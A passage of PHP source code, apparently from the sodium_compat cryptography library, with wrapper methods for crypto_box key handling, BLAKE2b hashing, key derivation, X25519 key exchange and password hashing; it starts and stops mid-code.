self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } if (self::use_fallback('crypto_box_keypair_from_secretkey_and_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey', $secretKey, $publicKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } return ParagonIE_Sodium_Crypto::box_keypair_from_secretkey_and_publickey($secretKey, $publicKey); } /** * Decrypt a message previously encrypted with crypto_box(). * * @param string $ciphertext Encrypted message * @param string $nonce Number to only be used Once; must be 24 bytes * @param string $keypair Your secret key and the sender's public key * @return string The original plaintext message * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedInferredReturnType * @psalm-suppress MixedReturnStatement */ public static function crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_BOX_MACBYTES) { throw new SodiumException('Argument 1 must be at least CRYPTO_BOX_MACBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { /** * @psalm-suppress InvalidReturnStatement * @psalm-suppress FalsableReturnStatement */ return sodium_crypto_box_open($ciphertext, $nonce, $keypair); } if (self::use_fallback('crypto_box_open')) { return call_user_func('\\Sodium\\crypto_box_open', $ciphertext, $nonce, $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_open($ciphertext, $nonce, $keypair); } return ParagonIE_Sodium_Crypto::box_open($ciphertext, $nonce, $keypair); } /** * Extract the public key from a crypto_box keypair. * * @param string $keypair Keypair containing secret and public key * @return string Your crypto_box public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey($keypair); } if (self::use_fallback('crypto_box_publickey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey($keypair); } return ParagonIE_Sodium_Crypto::box_publickey($keypair); } /** * Calculate the X25519 public key from a given X25519 secret key. * * @param string $secretKey Any X25519 secret key * @return string The corresponding X25519 public key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secretKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_publickey_from_secretkey($secretKey); } if (self::use_fallback('crypto_box_publickey_from_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_publickey_from_secretkey', $secretKey); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_publickey_from_secretkey($secretKey); } return ParagonIE_Sodium_Crypto::box_publickey_from_secretkey($secretKey); } /** * Extract the secret key from a crypto_box keypair. * * @param string $keypair * @return string Your crypto_box secret key * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_box_secretkey( #[\SensitiveParameter] $keypair ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_KEYPAIRBYTES long.'); } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_secretkey($keypair); } if (self::use_fallback('crypto_box_secretkey')) { return (string) call_user_func('\\Sodium\\crypto_box_secretkey', $keypair); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_secretkey($keypair); } return ParagonIE_Sodium_Crypto::box_secretkey($keypair); } /** * Generate an X25519 keypair from a seed. * * @param string $seed * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress UndefinedFunction */ public static function crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_box_seed_keypair($seed); } if (self::use_fallback('crypto_box_seed_keypair')) { return (string) call_user_func('\\Sodium\\crypto_box_seed_keypair', $seed); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::box_seed_keypair($seed); } return ParagonIE_Sodium_Crypto::box_seed_keypair($seed); } /** * Calculates a BLAKE2b hash, with an optional key. * * @param string $message The message to be hashed * @param string|null $key If specified, must be a string between 16 * and 64 bytes long * @param int $length Output length in bytes; must be between 16 * and 64 (default = 32) * @return string Raw binary * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash( $message, #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1); if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 3); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return (string) sodium_crypto_generichash($message, $key, $length); } if (self::use_fallback('crypto_generichash')) { return (string) call_user_func('\\Sodium\\crypto_generichash', $message, $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash($message, $key, $length); } return ParagonIE_Sodium_Crypto::generichash($message, $key, $length); } /** * Get the final BLAKE2b hash output for a given context. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * @param int $length Hash output size. * @return string Final BLAKE2b hash. * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation * @psalm-suppress ConflictingReferenceConstraint */ public static function crypto_generichash_final( #[\SensitiveParameter] &$ctx, $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_final($ctx, $length); } if (self::use_fallback('crypto_generichash_final')) { $func = '\\Sodium\\crypto_generichash_final'; return (string) $func($ctx, $length); } if ($length < 1) { try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return ''; } if (PHP_INT_SIZE === 4) { $result = ParagonIE_Sodium_Crypto32::generichash_final($ctx, $length); } else { $result = ParagonIE_Sodium_Crypto::generichash_final($ctx, $length); } try { self::memzero($ctx); } catch (SodiumException $ex) { unset($ctx); } return $result; } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init( #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES ) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); /* Input validation: */ if (!empty($key)) { if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (self::useNewSodiumAPI()) { return sodium_crypto_generichash_init($key, $length); } if (self::use_fallback('crypto_generichash_init')) { return (string) call_user_func('\\Sodium\\crypto_generichash_init', $key, $length); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init($key, $length); } return ParagonIE_Sodium_Crypto::generichash_init($key, $length); } /** * Initialize a BLAKE2b hashing context, for use in a streaming interface. * * @param string|null $key If specified must be a string between 16 and 64 bytes * @param int $length The size of the desired hash output * @param string $salt Salt (up to 16 bytes) * @param string $personal Personalization string (up to 16 bytes) * @return string A BLAKE2 hashing context, encoded as a string * (To be 100% compatible with ext/libsodium) * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_generichash_init_salt_personal( #[\SensitiveParameter] $key = '', $length = self::CRYPTO_GENERICHASH_BYTES, $salt = '', $personal = '' ) { /* Type checks: */ if (is_null($key)) { $key = ''; } ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($length, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($personal, 'string', 4); $salt = str_pad($salt, 16, "\0", STR_PAD_RIGHT); $personal = str_pad($personal, 16, "\0", STR_PAD_RIGHT); /* Input validation: */ if (!empty($key)) { /* if (ParagonIE_Sodium_Core_Util::strlen($key) < self::CRYPTO_GENERICHASH_KEYBYTES_MIN) { throw new SodiumException('Unsupported key size. Must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes long.'); } */ if (ParagonIE_Sodium_Core_Util::strlen($key) > self::CRYPTO_GENERICHASH_KEYBYTES_MAX) { throw new SodiumException('Unsupported key size. Must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes long.'); } } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::generichash_init_salt_personal($key, $length, $salt, $personal); } return ParagonIE_Sodium_Crypto::generichash_init_salt_personal($key, $length, $salt, $personal); } /** * Update a BLAKE2b hashing context with additional data. * * @param string $ctx BLAKE2 hashing context. Generated by crypto_generichash_init(). * $ctx is passed by reference and gets updated in-place. * @param-out string $ctx * @param string $message The message to append to the existing hash state. * @return void * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress ReferenceConstraintViolation */ public static function crypto_generichash_update( #[\SensitiveParameter] &$ctx, $message ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($ctx, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2); if (self::useNewSodiumAPI()) { sodium_crypto_generichash_update($ctx, $message); return; } if (self::use_fallback('crypto_generichash_update')) { $func = '\\Sodium\\crypto_generichash_update'; $func($ctx, $message); return; } if (PHP_INT_SIZE === 4) { $ctx = ParagonIE_Sodium_Crypto32::generichash_update($ctx, $message); } else { $ctx = ParagonIE_Sodium_Crypto::generichash_update($ctx, $message); } } /** * @return string * @throws Exception * @throws Error */ public static function crypto_generichash_keygen() { return random_bytes(self::CRYPTO_GENERICHASH_KEYBYTES); } /** * @param int $subkey_len * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws SodiumException */ public static function crypto_kdf_derive_from_key( $subkey_len, $subkey_id, $context, #[\SensitiveParameter] $key ) { ParagonIE_Sodium_Core_Util::declareScalarType($subkey_len, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($subkey_id, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($context, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4); $subkey_id = (int) $subkey_id; $subkey_len = (int) $subkey_len; $context = (string) $context; $key = (string) $key; if ($subkey_len < self::CRYPTO_KDF_BYTES_MIN) { throw new SodiumException('subkey cannot be smaller than SODIUM_CRYPTO_KDF_BYTES_MIN'); } if ($subkey_len > self::CRYPTO_KDF_BYTES_MAX) { throw new SodiumException('subkey cannot be larger than SODIUM_CRYPTO_KDF_BYTES_MAX'); } if ($subkey_id < 0) { throw new SodiumException('subkey_id cannot be negative'); } if (ParagonIE_Sodium_Core_Util::strlen($context) !== self::CRYPTO_KDF_CONTEXTBYTES) { throw new SodiumException('context should be SODIUM_CRYPTO_KDF_CONTEXTBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_KDF_KEYBYTES) { throw new SodiumException('key should be SODIUM_CRYPTO_KDF_KEYBYTES bytes'); } $salt = ParagonIE_Sodium_Core_Util::store64_le($subkey_id); $state = self::crypto_generichash_init_salt_personal( $key, $subkey_len, $salt, $context ); return self::crypto_generichash_final($state, $subkey_len); } /** * @return string * @throws Exception * @throws Error */ public static function crypto_kdf_keygen() { return random_bytes(self::CRYPTO_KDF_KEYBYTES); } /** * Perform a key exchange, between a designated client and a server. * * Typically, you would designate one machine to be the client and the * other to be the server. The first two keys are what you'd expect for * scalarmult() below, but the latter two public keys don't swap places. * * | ALICE | BOB | * | Client | Server | * |--------------------------------|-------------------------------------| * | shared = crypto_kx( | shared = crypto_kx( | * | alice_sk, | bob_sk, | <- contextual * | bob_pk, | alice_pk, | <- contextual * | alice_pk, | alice_pk, | <----- static * | bob_pk | bob_pk | <----- static * | ) | ) | * * They are used along with the scalarmult product to generate a 256-bit * BLAKE2b hash unique to the client and server keys. * * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @param bool $dontFallback * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public, $dontFallback = false ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($my_secret, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($their_public, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($client_public, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($server_public, 'string', 4); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($my_secret) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($their_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($client_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($server_public) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 4 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI() && !$dontFallback) { if (is_callable('sodium_crypto_kx')) { return (string) sodium_crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (self::use_fallback('crypto_kx')) { return (string) call_user_func( '\\Sodium\\crypto_kx', $my_secret, $their_public, $client_public, $server_public ); } if (PHP_INT_SIZE === 4) { return ParagonIE_Sodium_Crypto32::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } return ParagonIE_Sodium_Crypto::keyExchange( $my_secret, $their_public, $client_public, $server_public ); } /** * @param string $seed * @return string * @throws SodiumException */ public static function crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { ParagonIE_Sodium_Core_Util::declareScalarType($seed, 'string', 1); $seed = (string) $seed; if (ParagonIE_Sodium_Core_Util::strlen($seed) !== self::CRYPTO_KX_SEEDBYTES) { throw new SodiumException('seed must be SODIUM_CRYPTO_KX_SEEDBYTES bytes'); } $sk = self::crypto_generichash($seed, '', self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @return string * @throws Exception */ public static function crypto_kx_keypair() { $sk = self::randombytes_buf(self::CRYPTO_KX_SECRETKEYBYTES); $pk = self::crypto_scalarmult_base($sk); return $sk . $pk; } /** * @param string $keypair * @param string $serverPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_client_session_keys( #[\SensitiveParameter] $keypair, $serverPublicKey ) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($serverPublicKey, 'string', 2); $keypair = (string) $keypair; $serverPublicKey = (string) $serverPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($serverPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $serverPublicKey)); self::crypto_generichash_update($h, $pk); self::crypto_generichash_update($h, $serverPublicKey); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $keypair * @param string $clientPublicKey * @return array{0: string, 1: string} * @throws SodiumException */ public static function crypto_kx_server_session_keys( #[\SensitiveParameter] $keypair, $clientPublicKey ) { ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($clientPublicKey, 'string', 2); $keypair = (string) $keypair; $clientPublicKey = (string) $clientPublicKey; if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_KX_KEYPAIRBYTES) { throw new SodiumException('keypair should be SODIUM_CRYPTO_KX_KEYPAIRBYTES bytes'); } if (ParagonIE_Sodium_Core_Util::strlen($clientPublicKey) !== self::CRYPTO_KX_PUBLICKEYBYTES) { throw new SodiumException('public keys must be SODIUM_CRYPTO_KX_PUBLICKEYBYTES bytes'); } $sk = self::crypto_kx_secretkey($keypair); $pk = self::crypto_kx_publickey($keypair); $h = self::crypto_generichash_init(null, self::CRYPTO_KX_SESSIONKEYBYTES * 2); self::crypto_generichash_update($h, self::crypto_scalarmult($sk, $clientPublicKey)); self::crypto_generichash_update($h, $clientPublicKey); self::crypto_generichash_update($h, $pk); $sessionKeys = self::crypto_generichash_final($h, self::CRYPTO_KX_SESSIONKEYBYTES * 2); return array( ParagonIE_Sodium_Core_Util::substr( $sessionKeys, self::CRYPTO_KX_SESSIONKEYBYTES, self::CRYPTO_KX_SESSIONKEYBYTES ), ParagonIE_Sodium_Core_Util::substr( $sessionKeys, 0, self::CRYPTO_KX_SESSIONKEYBYTES ) ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_secretkey( #[\SensitiveParameter] $kp ) { return ParagonIE_Sodium_Core_Util::substr( $kp, 0, self::CRYPTO_KX_SECRETKEYBYTES ); } /** * @param string $kp * @return string * @throws SodiumException */ public static function crypto_kx_publickey($kp) { return ParagonIE_Sodium_Core_Util::substr( $kp, self::CRYPTO_KX_SECRETKEYBYTES, self::CRYPTO_KX_PUBLICKEYBYTES ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $alg * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash( $outlen, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $alg = null ) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { if (!is_null($alg)) { ParagonIE_Sodium_Core_Util::declareScalarType($alg, 'int', 6); return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit, $alg); } return sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash')) { return (string) call_user_func('\\Sodium\\crypto_pwhash', $outlen, $passwd, $salt, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit); } if (self::use_fallback('crypto_pwhash_str')) { return (string) call_user_func('\\Sodium\\crypto_pwhash_str', $passwd, $opslimit, $memlimit); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * Do we need to rehash this password? * * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * @throws SodiumException */ public static function crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); // Just grab the first 4 pieces. $pieces = explode('$', (string) $hash); $prefix = implode('$', array_slice($pieces, 0, 4)); // Rebuild the expected header. /** @var int $ops */ $ops = (int) $opslimit; /** @var int $mem */ $mem = (int) $memlimit >> 10; $encoded = self::CRYPTO_PWHASH_STRPREFIX . 'v=19$m=' . $mem . ',t=' . $ops . ',p=1'; // Do they match? If so, we don't need to rehash, so return false. return !ParagonIE_Sodium_Core_Util::hashEquals($encoded, $prefix); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_str_verify($passwd, $hash); } if (self::use_fallback('crypto_pwhash_str_verify')) { return (bool) call_user_func('\\Sodium\\crypto_pwhash_str_verify', $passwd, $hash); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Argon2i with acceptable performance in pure-PHP' ); } /** * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256( $outlen, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($outlen, 'int', 1); ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 2); ParagonIE_Sodium_Core_Util::declareScalarType($salt, 'string', 3); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 4); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 5); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256( (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256', (int) $outlen, (string) $passwd, (string) $salt, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * !Exclusive to sodium_compat! * * This returns TRUE if the native crypto_pwhash API is available by libsodium. * This returns FALSE if only sodium_compat is available. * * @return bool */ public static function crypto_pwhash_scryptsalsa208sha256_is_available() { if (self::useNewSodiumAPI()) { return true; } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256')) { return true; } return false; } /** * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($opslimit, 'int', 2); ParagonIE_Sodium_Core_Util::declareScalarType($memlimit, 'int', 3); if (self::useNewSodiumAPI()) { return (string) sodium_crypto_pwhash_scryptsalsa208sha256_str( (string) $passwd, (int) $opslimit, (int) $memlimit ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str')) { return (string) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str', (string) $passwd, (int) $opslimit, (int) $memlimit ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ public static function crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { ParagonIE_Sodium_Core_Util::declareScalarType($passwd, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($hash, 'string', 2); if (self::useNewSodiumAPI()) { return (bool) sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( (string) $passwd, (string) $hash ); } if (self::use_fallback('crypto_pwhash_scryptsalsa208sha256_str_verify')) { return (bool) call_user_func( '\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify', (string) $passwd, (string) $hash ); } // This is the best we can do. throw new SodiumException( 'This is not implemented, as it is not possible to implement Scrypt with acceptable performance in pure-PHP' ); } /** * Calculate the shared secret between your secret key and your * recipient's public key. * * Algorithm: X25519 (ECDH over Curve25519) * * @param string $secretKey * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument */ public static function crypto_scalarmult( #[\SensitiveParameter] $secretKey, $publicKey ) { /* Type checks: */ ParagonIE_Sodium_Core_Util::declareScalarType($secretKey, 'string', 1); ParagonIE_Sodium_Core_Util::declareScalarType($publicKey, 'string', 2); /* Input validation: */ if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !== self::CRYPTO_BOX_SECRETKEYBYTES) { throw new SodiumException('Argument 1 must be CRYPTO_BOX_SECRETKEYBYTES long.'); } if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !== self::CRYPTO_BOX_PUBLICKEYBYTES) { throw new SodiumException('Argument 2 must be CRYPTO_BOX_PUBLICKEYBYTES long.'); } if (self::useNewSodiumAPI()) { return sodium_crypto_scalarmult($secretKey, $publicKey); } if (self::use_fallback('crypto_scalarmult')) { return (string) call_user_func('\\Sodium\\crypto_scalarmult', $secretKey, $publicKey); } /* Output validation: Forbid all-zero keys */ if (ParagonIE_Sodium_Core_Util::hashEquals($secretKey, str_repeat("\0", self::CRYPTO_BOX_SECRETKEYBYTES))) { throw new SodiumException('Zero secret key is not allowed'); } if (ParagonIE_Sodium_Core_Util::hashEquals($publicKey, str_repeat("\0", 